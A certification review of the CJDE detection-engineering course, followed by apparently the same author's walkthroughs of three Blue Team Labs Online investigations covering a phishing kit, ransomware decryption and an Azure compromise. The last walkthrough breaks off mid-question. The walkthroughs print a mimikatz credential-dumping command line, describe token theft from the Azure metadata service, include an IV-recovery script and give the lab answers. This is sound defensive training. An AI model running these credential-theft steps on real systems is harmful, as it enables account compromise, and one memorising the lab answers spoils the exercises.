Course and certification exam review

I passed the Certified Junior Detection Engineer (CJDE) certification offered by back then Security Blue Team (now Centri) in April 2026 and wanted to write (and share with you) a few thoughts on my experience with both the course and the exam.

The course was introduced and launched back in September 2025 and offered with a 25% discount. I never seem to have much luck with SBT giveaways, so I decided to take advantage of the promotion.

### CJDE — WHAT IT IS? ###

Description taken from the course website:

CJDE (Certified Junior Detection Engineer) is an entry-level course for aspiring detection engineers and cybersecurity professionals. Designed for those with foundational cybersecurity knowledge, it focuses on identifying, analyzing, and responding to threats using industry tools and strategies. Whether you’re transitioning into cybersecurity or aiming to specialize in detection and response, CJDE equips you with the skills to detect and counter modern cyber threats.

### COURSE CONTENT — THEORY ###

Course content/modules according to the official syllabus (quizzes are also included between the course domains or parts within the same domain to test the gained knowledge):

Domain 1 — Networking Essentials

• 42 topics

• 16 quizzes

Domain 2 — Windows Essentials

• 52 topics

• 3 labs

Domain 3 — Linux Essentials

• 46 topics

• 2 quizzes

• 2 labs

Domain 4 — Python Essentials

• 18 topics

• 1 quiz

• 3 labs

Domain 5 — Incident Response Essentials

• 18 topics

Domain 6 — Git Workflows for Detection Engineering

• 12 topics

Domain 7 — Network Analysis Essentials

• 43 topics

• 1 quiz

• 7 labs

Domain 8 — Yara & Sigma Essentials

• 26 topics

• 2 labs

Domain 9 — Zeek Essentials

• 16 topics

• 1 quiz

Domain 10— Malware Analysis for Detection Engineering

• 31 topics

• 3 labs

Domain 11 — Detection Rule Creation and Tuning

• 26 topics

• 5 labs

Domain 12 — Threat Intelligence Integration for Detection

• 30 topics

• 1 quiz

• 4 labs

Domain 13 — Behavioural Analytics for Threat Detection

• 14 topics

• 1 quiz

Domain 14 — AI for Defenders

• 23 topics

• 1 quiz

• 3 labs

Domain 15 — CJDE Exam Preparation

• 3 topics

As you can see the list is pretty long.

### COURSE CONTENT — LABS ###

CJDE, like other SBT (now Centri) courses has a pretty good lab part. After a very well-prepared theory section, the course moves into hands-on practice through dedicated labs.

At the moment of writing CJDE has 42 unique labs and 120 hours of lab access available — and I think that it’s more than enough to finish them all (at least once) and still have a lot of time… to repeat the certain labs before taking the final exam:

Labs are divided per domain into 13 categories/groups with different tools and scenarios:

Windows Essentials (3 labs):

• Command Line Exploration — Exploring different Commands that are usefull;

• Active Directory Enumeration — Enumerating Active Directory using CLI;

• Windows Logging and Analysis — Perform Log Enabling and a simple simulation to check its logs.

Linux Essentials (2 labs):

• Linux Consolidation 1 — Consolidation of linux essential skills: Shell Basics, System Navigation, Authentication and User Management, File Permissions and sudo;

• Linux Consolidation 2 — Full consolidation of all fundamental Linux skills.

Python Essentials (3 labs):

• Python Setup and First Script — Setting up, writing and running your first python script;

• Pandas for Log/Alert Analysis — When working with small datasets, you can often get by with basic Python loops and conditionals. But as your data grows, think thousands or even millions of log lines, alerts, or IOC entries, manual processing becomes slow, hard to maintain, and prone to errors;

• Python Essentials | Final Lab — In this challenge, you’ll solve seven exercises using Python, covering tasks like connecting to services, sending HTTP requests, and parsing simple data.

Introduction to SIEM (6 labs):

• Searching using Kibana — In this practical lab, we’ll put our knowledge of Kibana and KQL into action by searching real log data. You’ll use Kibana’s Discover interface to answer key security and operations questions across multiple data sources;

• Visualisations using Kibana — Visualisations transform raw log data into clear, actionable insights. Kibana offers a powerful, intuitive platform to create interactive charts, graphs, and dashboards. In this lesson, we’ll extensively use the previously explored Windows (win*) and Nginx (nginx*) datasets to create meaningful visualisations;

• Visualising using Graylog — We’ll move beyond raw searches and begin creating custom visualisations in Graylog to highlight patterns in authentication behaviour and PowerShell usage. Visual dashboards are critical for threat hunting, SOC monitoring, and incident investigation;

• Searching using Graylog — In this practical lab, we’ll put our knowledge of Graylog and its search capabilities into action by analysing real log data. You’ll use Graylog’s Search interface to answer key security and operational questions across multiple data sources;

• Searching using Splunk Processing Language (SPL) — In this practical lab, we’ll put our knowledge from the module and explore splunk and practice the commands shown in module;

• Visualisations using Splunk — In this lab, we practice creating useful dashboards as shown in module.

Introduction to GIT (1 lab):

• Using GIT — In this lab you will practically utilise Git from the CLI to answer some relevant questions for Vulcan’s SOC.

Introduction to Threat Intelligence (2 labs):

• Building Intelligence for Nobelium Threat Group — In this lab, you will step into how intelligence analyst build intelligence about a specific threat group using publicly available CTI Reports, MITRE’s Center for Threat-Informed Defense threat actor template, and how to use Alienvault OTX to track threat actor activities;

• Getting Started with Malware Information Sharing Platform (MISP) — This lab will get you a hands-on experience using MISP as Threat Intelligence Platform. Explore the tool and learn how MISP is used to share, gather and build intelligence for effective threat hunting.

Network Analysis Essentials (7 labs):

• ICMP Tunneling Network Traffic Analysis 1 — In this lab, you will be getting a hands-on experience on using GUI-based network analysis tools like Wireshark and Bruteshark to answer questions based on incidents that mimics real-world scenarios;

• ICMP Tunneling Network Traffic Analysis 2 — In this lab, you will be getting a hands-on experience on using GUI-based network analysis tools like Wireshark and Bruteshark to answer questions based on incidents that mimics real-world scenarios;

• Wireshark Export Object 1 — In this lab, you will be getting a hands-on experience on using GUI-based network analysis tools like Wireshark and Bruteshark to answer questions based on incidents that mimics real-world scenarios;

• Wireshark Export Object 2 — In this lab, you will be getting a hands-on experience on using GUI-based network analysis tools like Wireshark and Bruteshark to answer questions based on incidents that mimics real-world scenarios;

• Investigating FTP Traffic for Data Exfiltration — In this lab, you will gain hands-on experience using the CLI-based network analysis tool to respond to an incident and answer key questions;

• Investigating SMTP Traffic for Data Exfiltration — In this lab, you will gain hands-on experience using the CLI-based network analysis tool to respond to an incident and answer key questions;

• Investigate Unauthorized Credential Interception in a Corporate Network using BruteShark — In this lab, you will be getting a hands-on experience on using GUI-based network analysis tools like Wireshark and Bruteshark to answer questions based on incidents that mimics real-world scenarios.

Yara & Sigma Essentials (2 labs):

• Yara Essentials — Use Yara to hunt malware in Windows Environment and Memory Images;

• Sigma Essentials — Convert the Sigma rules to get Splunk queries and investigate using them.

Malware Analysis for Detection Engineering (3 labs):

• Malware Analysis for Detection Engineering | Windows Binary — Analyze the Malware Sample to find IoCs and Detection rule;

• Malware Analysis for Detection Engineering | Linux Binary — Malware analysis of a Linux Binary in order to extract IOCs;

• Malware Analysis for Detection Engineering | PHP Webshell — Malware analysis of a PHP Webshell in order to extract IOCs.

Detection Rule Creation and Tuning (5 labs):

• Detection Rules Creation & Tuning — Data Exfiltration — Create and tune detection rules within Splunk for Data Exfiltration;

• Detection Rules Creation & Tuning — Lateral Movement — In this lab, we will create detection rules and refine them to minimize false positives. While the dataset used here is smaller than what you would find in a corporate environment, the core concept remains the same: eliminate noise while retaining the truly important signals;

• Detection Rules Creation & Tuning — Failed Authentication — While we covered some part of Failed Auth / Bruteforce, let’s drill down to some specifics. We will now focus on different logon types (console vs. RDP vs. network), as well as different attack patterns (spray attacks vs. targeted brute force, as well as for Linux SSH failed authentication);

• Detection Rules Creation & Tuning — AWS CloudTrail — In this lab we’ll perform some detection rule creation and tuning within Splunk utilising CloudTrail Log data;

• Capstone) Detection Rule Creation and Tuning — Fix and fine tune a Detection rule that is currently generating a lot of noise, causing Alert Fatigue for analysts.

Threat Intelligence Integration for Detection (4 labs):

• Building Obfuscated Powershell Detection with Atomic Red Team, Sigma, and Chainsaw — This lab introduces students to PowerShell-based command execution as a common initial access or execution tactic used by adversaries. The focus is on detecting encoded or obfuscated PowerShell behavior often observed in malicious scripts or attack frameworks;

• Building Detection on Credential Dumping with Atomic Red Team, Sigma & Chainsaw — Students will learn how to detect credential dumping activity targeting LSASS using a Sigma rule creation exercise. They will: Write a Sigma rule to detect suspicious memory dumping behavior (e.g., procdump targeting lsass.exe) Validate their detection using Chainsaw on the three provided EVTX logs. Convert the working Sigma rule into a SIEM-compatible query (e.g., Splunk);

• Building Detection with Multi-Stage Activity by APT29 with Atomic Red Team, Sigma and Chainsaw — Students will develop and test Sigma rules to detect multi-stage attack behaviors commonly associated with the APT29 threat actor. This lab guides students through identifying key adversary techniques, including initial access via encoded PowerShell, credential dumping with Procdump, persistence using scheduled tasks, and lateral movement over administrative shares. Once the rule is validated against Sysmon logs, students will convert it into a SIEM-compatible query for operational deployment;

• Caldera Agents, Adversaries, and Launching Operation — In this lab, you will be exploring MITRE Caldera as your adversary emulation tool and get a hands-on experience on how to build your own emulation plan.

AI for Defenders (3 labs):

• Detecting Malicious PowerShell with ML — Through a mix of conceptual lessons and hands-on labs, participants will gain real-world experience building simple machine learning models, extracting meaningful features from logs, and interpreting model decisions using tools like scikit-learn, SHAP, and Isolation Forest;

• Threat Hunting with Machine Learning: Anomaly Detection Using Isolation Forest — Through a mix of conceptual lessons and hands-on labs, participants will gain real-world experience building simple machine learning models, extracting meaningful features from logs, and interpreting model decisions using tools like scikit-learn, SHAP, and Isolation Forest;

• Automating Alert Prioritization with a Simple Classifier — Through a mix of conceptual lessons and hands-on labs, participants will gain real-world experience building simple machine learning models, extracting meaningful features from logs, and interpreting model decisions using tools like scikit-learn, SHAP, and Isolation Forest.

CJDE Playground (1 lab):

• Detection Playground — This is an area which bares some similarities to the exam that you can utilise to practice pushing rulesets across a CI/CD Pipeline. — New update being tested.

The most important lab is the CJDE Playground — that’s the place where you can try and get familiar with the final exam’s environment and its core concepts and mechanics. Don’t skip it!

### HOW I PREPARED FOR THE EXAM ###

I started the course in March 2026 (nearly 6 months after I bought it due to the backlog of other courses and certifications). My preparation was divided into three stages:

1. Theory pass

• Completed all domains in order (essential topics could be skipped if you’re not new/fresh into cybersecurity);

• Took notes on Sigma syntax, Splunk queries, YARA conditions, and common Windows Event IDs;

• Created a small “cheat sheet” for frequently used commands and detection patterns.

2. Lab pass

• Repeated the Detection Rule Creation & Tuning labs because they are the closest to the actual exam tasks;

• Practiced converting Sigma rules into SIEM queries;

3. Exam-focused revision

• Revisited the Threat Intelligence Integration labs.

• Repeated the CJDE Playground several times.

• Practiced validating detections with Chainsaw and reviewing Sysmon logs.

If I had to prioritize only a few areas, I would focus on:

• Sigma nad YARA rule creation and tuning;

• Splunk query troubleshooting;

• Windows Event IDs and Sysmon logs;

• Threat Intelligence Integration labs;

• CJDE Playground.

### THE EXAM ###

After finishing the whole content (topics, quizzes and labs) I’ve decided to take the exam at the first convenient time.

I’ve started the exam in the morning on 11/04/2026 (Saturday). You are given access to a virtual environment where you must investigate threats, build/tune detection rules, and configure a CI/CD pipeline. The exam is a 24 hour assignment with 12 questions and an online lab environment to find the answers — same format as in BTL1 exam or BTLO investigations.

Personally I don’t like it (answering such questions, not the exam itself). I prefer report writing exams because there is no place for mistakes like correct answer but in wrong format (misspelled words, whitespaces etc.). I submitted my answers after about 12.5 hour. The result, and the feedback, is given immediately after submitting the answers… and my score was ~83% (10/12 was correct). I passed the exam but I expected to have done much better.

I read the post-exam feedback (which answers were wrong) and I used the review option button. I was pretty sure that all my answers were correct and the only problem could be with the answers format.

After two days I got an email that my exam was reviewed by the SBT Instructor:

One answer was marked as correct (format issue) and the score was raised to 91%. At that moment I felt completed 😊

### Overall Exam Score ###

### EXAM TIPS ###

• Start with the questions that can be solved quickly and leave the more complex tuning tasks for later;

• Validate the answer format carefully before submission;

• Use the remaining time to re-check all answers, especially those requiring exact strings or hashes;

• Do not underestimate the CI/CD pipeline portion of the exam; spend some time in the Playground beforehand;

• Threat Intel (TI) reports are your best friends.

One thing I learned from my own attempt is that a technically correct answer may still be marked wrong if the required format is not respected. Double-check spaces, file names, and other formatting requirements before submitting the exam. Do not be afraid to use the review option if you think that your answer(s) was/were correct.

### Why CJDE? ###

Certified Junior Detection Engineer is still something new and not well recognized in the industry — it’s still the youngest course/exam developed by SBT (Centri) which was introduced back in September 2025.

For me, the biggest value of CJDE is that it teaches detection engineering as a complete workflow rather than a collection of isolated tools. The course connects networking, operating systems, Python, malware analysis, Sigma/YARA, threat intelligence, and CI/CD processes into a single detection engineering pipeline. This makes it particularly useful for SOC analysts who want to transition toward detection engineering or content development roles.

I would recommend CJDE for:

• Tier 1/Tier 2 SOC analysts wanting to move into detection engineering;

• Tier 2/Tier 3 SOC analysts wanting to expand their detection ruleset (for tools like Chainsaw or Hayabusa)

• Security engineers responsible for SIEM content.

I would not recommend it as a first cybersecurity certification if someone has no prior experience with Windows, Linux, networking, or SIEM concepts. The course is called “Junior Detection Engineer,” but it still assumes a reasonable technical foundation. There is enough “essentials” content so everyone can try their luck 👍

Pros:

• High quality and well written content;

• Varied and challenging labs;

• A relatively new certification with a fresh focus on detection engineering;

• A growing community of students and alumni;

• Really interesting and unique exam scenario;

• Answer review option.

Overall, CJDE turned out to be one of the most unique blue-team exams I have taken so far. The combination of detection rule creation, Sigma/YARA development, and CI/CD concepts makes it much closer to real detection engineering work than many traditional SOC-focused certifications. If your goal is to move from alert handling into building and maintaining detections, CJDE is definitely worth considering.

There is no forensics, no traditional incident-investigation workflow, and no reliance on flashy tooling. Instead, the exam focuses almost entirely on building, tuning, and deploying detection rules through a SIEM and GitLab-based CI/CD pipeline. Only you, SIEM, GitLab and detection rules which you have to develop yourself utilising threat intelligence reports and… use so craft them with care 😉

This time there was no odyssey for the physical reward (coin and printed certificate) — it took only less than a month from order to delivery👍

### Other valuable CJDE review(s) ###

• CJDE (Certified Junior Detection Engineer) Review and How to prepare for it! | by Chicken0248 | Medium — by Warawut Manosong

### Platform ###

Blue Team Labs Online: https://blueteamlabs.online
URL: https://blueteamlabs.online/home/investigation/phishy-v1-e3b5be4fe8
Released: 2021.02.26
Difficulty: Easy
Category: SECURITY OPERATIONS

### Scenario ###

You have been sent a phishing link — It is your task to investigate this website and find out everything you can about the site, the actor responsible, and perform threat intelligence work on the operator(s) of the phishing site.

Warning: The website and kit you see is the lab is REAL. Exercise caution when interacting with the malicious website and do not enter any sensitive information

### What we have? ###

• PHISHY V1 READ ME.txt

HINT: phishing website is fully hosted on the lab machine in /var/www/html/ directory.

### Our adventure (Questions and Answers) ###

1. The HTML page used on securedocument.net is a decoy. Where was this webpage mirrored from, and what tool was used? (Use the first part of the tool name only)

We have to use URL address which is the only thing provided in the readme file. We’re instantly on the phishing landing page:

Let’s check the page source code. So far nothing related to our question.

Let’s then check the URL itself — going down one level every time. Finally we’re at the very bottom with only domain as the URL:

We can see ./cgi-sys/ directory. Let try this with our domain… and we have the answer:

Answer: 61.221.12.26/cgi-sys/defaultwebpage.cgi, HTTrack

2. What is the full URL of the background image which is on the phishing landing page?

We have to get back into phishing landing page source but there is nothing interesting about the background image:

So we can check the style.css and we have the image name. But we need the full URL.

Let’s get back to our landing page then. We can right-click on the website and chose Open Image in New Tab option:

Which gives as following URL:

Answer: http://Securedocument.net/secure/L0GIN/protected/login/portal/axCBhIt.png

3. What is the name of the php page which will process the stolen credentials?

Once more we have to get back to phishing landing page source. We’re looking for <form> tag and action attribute where we will find the answer:

Answer: jeff.php

4. What is the SHA256 of the phishing kit in ZIP format? (Provide the last 6 characters)

Phishing Kit zip file is located nearly the very bottom level of our starting URL. We’ve seen it while we were going down looking for the mirrored website and tool used to do that.

Now we can dowload the 0ff1cePh1sh.zip file and calculate its sha256 hash.

Answer: fa5b48

5. What email address is setup to receive the phishing credential logs?

Now we can extract archive contents and investigate those files:

We remember from Q3 the jeff.php file responsible for processing data sent from the phishing form. Let’s investigate this file as it was extracted from the archive. In the .php file source code we can see a variable named $recipient:

Answer: boris.smets@tfl-uk.co

6. What is the function called to produce the PHP variable which appears in the index1.html URL?

We will find the answer in index.html file — it’s the javascript function:

Answer: getTime()

7. What is the domain of the website which should appear once credentials are entered?

Let’s get back to jeff.php file where we can find, at the bottom, a short javascript snippet with window.location object that can be used to redirect the browser to a new page:

Answer: Office.com

8. There is an error in this phishing kit. What variable name is wrong causing the phishing site to break? (Enter any of 4 potential answers)

We have to investigate both jeff.php and index1.html files. We can clearly see that jeff.php file expects values from variables named user1 and pass1 while fields in phishing form which are responsible for passing those values (email, password) are named userrr and passss.

Answer (1 of 4): User1

### THE (HAPPY) END ###

### Platform ###

Blue Team Labs Online: https://blueteamlabs.online
URL: https://blueteamlabs.online/home/investigation/unbinding-flame-847a33b574
Released: 2026.01.02
Difficulty: Epic 🤣
Category: REVERSE ENGINEERING

### Part of the FrostByte 2025 event ###

Investigations presented in chronological order:

1. Shimmerward Eye

2. Pathfinders Mark

3. Gearsmith’s Wisdom

4. Stormweaver’s Vision

5. Unbinding Flame

### Scenario ###

The most feared weapon of ancient darkness was the Eternal Binding — curses that seal away precious things forever in unbreakable ice. The elders who defeated such magic developed the Unbinding Flame — the sacred fire that can melt any curse, break any seal, and restore what was locked away. The Frost Shadow has cast their Eternal Binding curse (ransomware) within our Archives, freezing a critical artifact.

### What we have ###

• HuskyDC22-Snapshot9.vmem (memordy dump)

• Encrypted-Important-Files.zip (encrypted files)

• Volatility (accessible via WSL)

• IDA

• WSL (Windows Subsystem for Linux)

• and more… in the Tooling folder

### Before we start ###

Have fun! 😊

### Our adventure (Questions and Answers) ###

1. What is the name of the RMM tooling installed by the TA?

We can start from running Volatility and checking process tree:

Examining the process tree we can spot suspicious process named tacticalrmm.exe. Tactical RMM is a remote monitoring & management tool.

### ANSWER ###

Tactical RMM

### ANSWER ###

2. What port does the RMM Tool utilise with its agent to connect?

We’re still within the process tree. From Tactical RMM documentation we know that it could integrated with MeshCentral. In the process tree list we can see a process named MeshAgent.exe. The MeshCentral Agent is the software that runs on remote devices and connects to the MeshCentral server to allow for remote device management.

As an argument it accepts a base64 encoded string. We put it into CyberChef — then decode using From Base64 and we have the port number:

### ANSWER ###

8696

### ANSWER ###

3. Which directory names does the ransomware skip during traversal?

Now we have to identify the malicious sample — the malware. In process tree list we can spot the process named mesh-gpt.exe which was started by running the executable from C:\Windows\Temp directory along with -encrypt parameter. Suspicious enough.

Now we need to acquire this file. Personally, I prefer to acquire the sample using MemProcFS rather than Volatility.

As it could take some time it’s good to do it at the start of investigation.

Now we can get the sample and load it into… IDA. If you’ve read my writeup from Trick or Threat event: [BTLO] The Headless Dead (another EPIC RE) then you know…

AGAIN?! WHY?!

Let the (my) pain begins… again!

We can find our malicious sample by PID:

or NAME:

After loading it into IDA (by the way the malware is written in Go Lang) I’m starting from the gold mines by examining Strings. So we’re looking for strings contains “directory”.

In this case we could also pivot to Functions as they’re clearly named and has meaning:

Opening the function we have all the directories in plain sight:

### ANSWER ###

windows, system32, program files, programdata, boot, efi, recovery, tmp, temp

### ANSWER ###

4. Please provide the fields sent when reporting back to the binaries Ransomware C2 Server?

Again we will try to get those values from Functions. We can spot a good candidate to examine:

Examining the function flow (only looking at the flow chart):

we’ll finally find something interesting (it’s within the biggest block):

### ANSWER ###

client_id, files_encrypted, files_failed, total_size, timestamp, hostname

### ANSWER ###

5. What hostname does the ransomware binary return if it fails to retrieve a hostname?

Again we’re looking for a good candidate to examine within Functions. And here it is:

Again everything is in plain sight within flow chart:

### ANSWER ###

unknown

### ANSWER ###

6. One of the excrypted files contains the dimensions of our festival spire. Decrypt the encrypted files and provide the width (Xm, where X is integer and m is meter)

This and next question could be easily bruteforced but it’s not the case (as the last question wants from us the KEY and IV values). We have to decrypt the file so we have to find/guess what algorithm, KEY and IV were used for encryption. That’s the EPIC part.

Again looking at the Function (using encrypt keyword) I’ve found few candidates for further examination:

Within main_encryptWithMemoryKey function I’ve found that this could be AES:

‼️THE EASY WAY‼️

For those who accessed lab earlier (shortly after it was released) there was a really big hint in last question (Q8). First bytes for the KEY (CA) and the IV (62) were provied.

We know that the KEY and IV length for the AES must be as follows:

AES-128 = KEY: 16 bytes (32 chars), IV: 16 bytes (32 chars)
AES-192 = KEY: 24 bytes (48 chars), IV: 16 bytes (32 chars)
AES-256 = KEY: 32 bytes (64 chars), IV: 16 bytes (32 chars)

We can assume that both are stored in the memory. We can use mesh-gpt.exe minidump as this process was responsible for the encryption:

Now we can use strings against minidump (grep + awk) and we have both values in just few seconds:

The KEY is 64 chars (32 bytes) and the IV is 32 chars (16 bytes). Let’s check if those are correct and decrypt the snowpine-spire-design.png.encrypted file. We can use CyberChef with AES Decrypt:

Now we can render decrypted file directly in CyberChef or we can download it and open:

So as we have the KEY and IV we can answer last two questions without any problem👍

But what if we accessed the lab later and without knowing the hints? 🤔

‼️THE EPIC WAY‼️

Within main_initializeEncryptionFromWebapp I’ve found that the keys could be downloaded from the web:

If the keys could be (are) downloaded from the web then we can try to look for them in memory. We can use mesh-gpt.exe minidump.

Looking for the “/keys/” keyword I’ve found the following:

Checking the URL… finger crossed… we’re close… NOPE… 😂

Then let’s look only for “keys”:

While examining the output we can spot something really interesting:

Potentially we have the part of the KEY. The part marked in the red rectangle has 54 chars (27 bytes) so we can use this part in our next search and now we have the full 64 chars (32 bytes):

What can we do with it as we still don’t have the IV? We can retrieve (derive) the IV value. When we can do that and what we need to do that:

• AES mode is CBC ✅

• KEY ✅

• encrypted file (first 16 bytes) ✅

• original file — exact first block (16 bytes or it’s part) — more bytes we have the more bytes from IV we’ll get ✅

So we have everything we need! What else we know?

Two of the encrypted files are PNG files. I did some research and found out that PNG files (always) have the same first 32 chars (16 bytes):

Also we have the first 32 chars (16 bytes) of cipher text block from the encrypted files. They’re identical in both encrypted files: 260c2b59e7a60c4dc2f30229faf2ff13 so original 32 chars (16 bytes) must be also identical.

So now we only have to write a script to retrieve (derive) IV. With a help from LLM and after few manual corrections we have the following (working) code:

from Crypto.Cipher import AES

# KEY (64 chars, 32 bytes)
key = bytes.fromhex(
    “ca72848656b0a430eb98f847f836d6642aedb3aa4158b5970fb43e1f3f9ca220”
)

# First encrypted block (C1)
# (32 chars, 16 bytes)
C1 = bytes.fromhex(”260c2b59e7a60c4dc2f30229faf2ff13”)

# PNG header (32 chars, 16 bytes)
png_header_hex = “89504E470D0A1A0A0000000D49484452”

# ============================================================
# STEP 1: AES DECRYPT FIRST BLOCK (ECB)
# ============================================================

aes = AES.new(key, AES.MODE_ECB)
D1 = aes.decrypt(C1)

# ============================================================
# STEP 2: TRY PNG HEADER
# ============================================================

header = bytes.fromhex(png_header_hex)
header_len = len(header)

# Recover IV bytes for known plaintext
iv_partial = bytes(D1[i] ^ header[i] for i in range(header_len))

# Fill unknown IV bytes with zeros (test-only)
iv_guess = iv_partial + b”\x00” * (16 - header_len)

# Decrypt first block using this IV
cipher_test = AES.new(key, AES.MODE_CBC, iv_guess)
decrypted = cipher_test.decrypt(C1)

# ============================================================
# OUTPUT
# ============================================================

print(”\n”)
print(”KEY:”, key.hex())
print(”KEY LENGTH:”, len(key.hex()))
print(”==========:”)
print(’\x1b[1;33;40m’+”IV (retrieved/derived):”, iv_partial.hex()+  ‘\x1b[0m’)
print(”IV LENGTH:”, len(iv_partial.hex()))
print(”==========:”)
print(”Encrypted 32 chars (16 bytes):”, C1.hex())
print(”Decrypted 32 chars (16 bytes):”, decrypted.hex())
print(”Decrypted:”, decrypted)

We can run the code in investigation environment using powershell or cmd … and failed:

Thankfully we have also WSL at our disposal:

It looks like we’ve retrieved (derived) full IV — all 32 chars (16 bytes)! Without using strings and grep against minidump😎

PS. We could also try with the PDF file but it would give us only partial IV and we have to take at least 9 versions and possibly few subversions of PDF files (“%PDF-X.Y\n” or %PDF-X.Y.Z\n) into consideration. As a next step we would have to use that part of the IV to grep the minidump to find the full IV.

### ANSWER ###

22m

### ANSWER ###

7. The elders left a little message in one of the encrypted files. Provide the total number of elder names mentioned?

We’re staying with CyberChef only changing the encrypted file to happynye.pdf.encrypted:

Now we can download the file, open it and simply count the elders names:

### ANSWER ###

9

### ANSWER ###

8. Provide the key & IV used by the attacker for encryption?

We’ve found (retrieved) both in Q6.

### ANSWER ###

ca72848656b0a430eb98f847f836d6642aedb3aa4158b5970fb43e1f3f9ca220, 62ecaa64a097c68af96fe7b2c90517b7

### ANSWER ###

### THE (HAPPY) END ###

### Platform ###

Blue Team Labs Online: https://blueteamlabs.online
URL: https://blueteamlabs.online/home/investigation/stormweavers-vision-82966e054a
Released: 2025.12.26
Difficulty: Hard
Category: INCIDENT RESPONSE

### Part of the FrostByte 2025 event ###

Investigations presented in chronological order:

1. Shimmerward Eye

2. Pathfinders Mark

3. Gearsmith’s Wisdom

4. Stormweaver’s Vision

5. Unbinding Flame

### Scenario ###

The wise elders of Snowpine discovered that the most dangerous enemies could strike from the sky realm — the mysterious cloud lands where data swirls like endless winter storms. They forged the legendary Stormweaver’s Vision — the ability to see through the mists, track movements between cloud kingdoms, and detect when hostile forces pivot from one sky realm to another.

### What we have ###

• Splunk

### Before we start ###

Have fun! 😊

Useful resources:

• https://learn.microsoft.com/en-us/azure/azure-monitor/reference/tables/appservicehttplogs

• https://learn.microsoft.com/en-us/azure/app-service/overview-managed-identity

• https://learn.microsoft.com/en-us/azure/azure-monitor/reference/tables/signinlogs

• https://learn.microsoft.com/en-us/azure/azure-monitor/reference/tables/azurediagnostics

• Azure Key Vault Keys, Secrets, and Certificates Overview | Microsoft Learn

• Azure Monitor Logs reference — OfficeActivity — Azure Monitor | Microsoft Learn

• What Is AWS CloudTrail? — AWS CloudTrail

### Our adventure (Questions and Answers) ###

1. Identify the public IP address from which the attacker launched their attack against the web application.

We’re starting from setting the source as AppServiceHTTPLogs.csv in our search query and by looking for CsUriQuery and CIp values:

index=* source=”AppServiceHTTPLogs.csv”
| top limit=20 CsUriQuery CIp
| sort _time

In the returned records (statistics) we can spot only one IP address which was using suspicious keywords (whoami, ls) in URI query on HTTP request.

### ANSWER ###

13.250.112.17

### ANSWER ###

2. What is the name of the Azure App Service that was initially compromised by the attacker?

Now we will change our previous query a little bit. We’d like to know which CsHost(s) and which ResourceId(s) were queried by the attacker:

index=* source=”AppServiceHTTPLogs.csv” CIp=”13.250.112.17”
| top  limit=100 CsHost ResourceId CIp
| sort _time

The web application name is identified by the subdomain in CsHost field value and as the last part of the ResourceId field value:

### ANSWER ###

snowpine-festival

### ANSWER ###

3. The attacker exploited a vulnerability in the web application to execute system commands. What is the FIRST command the attacker executed to confirm they had command execution capabilities?

We have to make another change in the previous query. We’d like to know which CsUriQueries were requested by the attacker:

index=* source=”AppServiceHTTPLogs.csv” CIp=”13.250.112.17”
| top  limit=100 _time CsHost CsUriQuery
| sort _time

In the CsUriQuery field values we can spot few commands which were used by the attacker:

### ANSWER ###

ls

### ANSWER ###

4. What MITRE ATT&CK technique ID best describes the initial access method used by the attacker on the web application?

Simple query to the Uncle Google and we have the answer:

### ANSWER ###

T1190

### ANSWER ###

5. The attacker confirmed the web application was running in Azure by checking for environment variables. What is the name of the Azure environment variable that indicates Managed Identity is available?

Pasting the second part of the questions into Google retured link into Microsoft documentation related to: Use managed identities for App Service and Azure Functions. Scrolling down we’ve finally found what we’re looking for:

We can also spot, in our previous query results, that the IDENTITY_ENDPOINT variable was used.

### ANSWER ###

IDENTITY_ENDPOINT

### ANSWER ###

6. The attacker extracted TWO different access tokens from the Azure Instance Metadata Service (IMDS) to access different Azure resources. What are the TWO different resource audiences (scope) for these tokens?

We can find the answer in the same query results. Both resources are clearly seen as the resource parameters values:

### ANSWER ###

https://management.azure.com, https://vault.azure.net

### ANSWER ###

7. The attacker dumped the credentials of a user account logged into the VM. When were the logon credentials accessed/extracted last?

When I see that the question is asking about finding the attacker dumped credentials then my first thought and tool to look for is always: mimikatz. So we’re changing our source to sysmonwindowsevent.csv and let’s try with following query:

index=* source=”sysmonwindowsevent.csv” *mimikatz*

We’ve got 17 records. Examining returned results we can see that the first event has EventID=5 (process terminate) while other two have EventID=1 (process create). Those are last two events with privilege::debug sekurlsa::logonpasswords exit commandline parameters that are used to enumerate all logon sessions from LSASS memory and dumps any available credentials for recently logged‑on users and machine accounts.

### ANSWER ###

2025-11-18 02:42:04

### ANSWER ###

8. A command was used to establish persistence, causing the machine to connect back to the attacker. Provide the port number on which this connection would be established.

We have luck as our previous query used to find mimikatz (thanks to that the enemy executed the command from mimikatz directory) also returned the Base64 encoded command which was added to the registry (run by the pwoershell) under the SysmonUpdater key — attacker was establishing persistence.

Using CyberChef to decode the Base64 encoded command gave us the C2 port number:

### ANSWER ###

4443

### ANSWER ###

9. When did attacker logged into the Azure Portal using credential re-use.

This one is tricky as it wants the DateTime in UTC. As we’re still in Azure and we need to check logon events then we can use attacker IP address in the search query. No filter for the source at this time as we have at least 3 signing logs sources for Azure:

index=* IPAddress=”13.250.112.17”
| top limit=100 _time UserPrincipalName source OperationName “CreatedDateTime _UTC”
| _time

I’ve also changed the logs period to “since 11/17/25” as we know at this point that the attacker started it’s activity on November 17th 2025.

### ANSWER ###

2025-11-18 08:24:53

### ANSWER ###

10. Which user account credentials were extracted from the Windows VM, which was further used to access Azure?

From the previous question:

### ANSWER ###

bryn@corphusky.onmicrosoft.com

### ANSWER ###

11. After compromising the user’s credentials, the attacker authenticated to Azure using the CLI as well and performed enumeration. What Azure resource (service) did the attacker access successfully?

As the question is about Azure resource (service) we can try from picking the source as azurediagnostic.csv. AzureDiagnostics stores resource logs for Azure services that use Azure Diagnostics mode. Resource logs describe the internal operation of Azure resources.

In our query we can use the attacker’s IP address:

index=* source=”azurediagnostics.csv” “13.250.112.17”
| top limit=15 _time identity_claim_unique_name_s OperationName ResourceProvider Resource id_s requestUri_s
| sort _time

We can see that the attacker using bryn account (which was compromised earlier) has accessed (OperationName: SecretGet) the Azure Key Vault resource (service).

### ANSWER ###

Azure Key Vault

### ANSWER ###

12. What sensitive secret was found in Azure that enabled cross-cloud access?

This one could be tricky as we do not look for a password or it’s value — we’re looking for an object name.

In our case it’s:

### ANSWER ###

MarshKeysBckup

### ANSWER ###

13. The attacker set up a way to read the user’s mail from their email account. Identify the email address used by the attacker to receive original emails.

This kind of activity could be recorded in Azure Office Activity logs. In our sources we have such log source which is named: OfficeActivity_splunk.csv

Let’s build our query (still using attacker’s IP Address):

index=* source=”OfficeActivity_splunk.csv” “13.250.112.17”
| top limit=15 _time Operation Parameter
| sort _time

